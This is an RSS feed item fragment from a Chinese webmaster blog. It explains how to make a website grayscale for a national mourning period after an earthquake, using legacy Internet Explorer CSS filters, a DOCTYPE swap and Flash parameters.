			<guid>http://www.dbsun.com/default.asp?id=120</guid>	
		<description><![CDATA[今天一直到21日为全国哀悼日，有很多网站界面都变成了黑白色，从而纪念那些在地震中死去的逝者。对于普通的站长来说，对于灾难并不能多做些什么，但可以做到将自己的网站也变成黑白色，从而缅怀那些逝者。&nbsp;<br/>　　&nbsp;<br/>　　如果用传统的方法将网站变成黑白色非常的麻烦，需要更换页面的文件，并且要对图片进行更改。但如果自己的网站支持CSS的话，一切变得很简单。只要是符合w3标准的网页，在CSS文件的最前面加上一行代码就可以了，这段代码使用的是CSS滤镜，将网页中的色彩部分过滤掉。&nbsp;<br/><br/>html&nbsp;{&nbsp;filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1);&nbsp;}（不换行）&nbsp;&nbsp;<br/><br/><br/>　　加上代码之后，再次刷新网页就会发现页面已经变成黑白的了（配图）。还在等什么，赶快给自己的网站加上一行代码，变成黑白色，一起来缅怀在地震中去世的人。<br/><br/><br/><br/>再给大家一个简单的解决办法&nbsp;在首页的body中加上<br/>style=&#34;FILTER:&nbsp;alphaopacity=80&nbsp;gray&#34;<br/><br/>ＣＳＳ让图片变灰色：<br/>&lt;img&nbsp;src=&#34;<a href="http://www.dbsun.com/images/logo.gif" target="_blank">http://www.dbsun.com/images/logo.gif</a>&#34;&nbsp;style=&#34;filter:progid:DXImageTransform.Microsoft.BasicImage(grayScale=1)&#34;&gt;<br/>或<br/>&lt;img&nbsp;src=&#34;<a href="http://www.dbsun.com/images/logo.gif" target="_blank">http://www.dbsun.com/images/logo.gif</a>&#34;&nbsp;style=&#34;filter:gray&#34;&gt;<br/><br/><br/><br/>有一些站长的网站可能使用这个css&nbsp;不能生效，是因为网站没有使用最新的网页标准协议<br/>&lt;!DOCTYPE&nbsp;html&nbsp;PUBLIC&nbsp;&#34;-//W3C//DTD&nbsp;XHTML&nbsp;1.0&nbsp;Transitional//EN&#34;&nbsp;&#34;<a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" target="_blank">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd</a>&#34;&gt;<br/>&lt;html&nbsp;xmlns=&#34;<a href="http://www.w3.org/1999/xhtml" target="_blank">http://www.w3.org/1999/xhtml</a>&#34;&gt;<br/>请将网页最头部的替换为以上代码。<br/>有一些网站FLASH动画的颜色不能被CSS滤镜控制，可以在FLASH代码的和之间插入：<br/>&lt;param&nbsp;value=&#34;false&#34;&nbsp;name=&#34;menu&#34;/&gt;<br/>&lt;param&nbsp;value=&#34;opaque&#34;&nbsp;name=&#34;wmode&#34;/&gt;<br/>最简单的把页面变成灰色的代码是在head&nbsp;之间加<br/>&lt;style&nbsp;type=&#34;text/css&#34;&gt;<br/>html&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;FILTER:&nbsp;gray<br/>}<br/>&lt;/style&gt;<br/>]]></description>
		</item>
		
</channel>
</rss>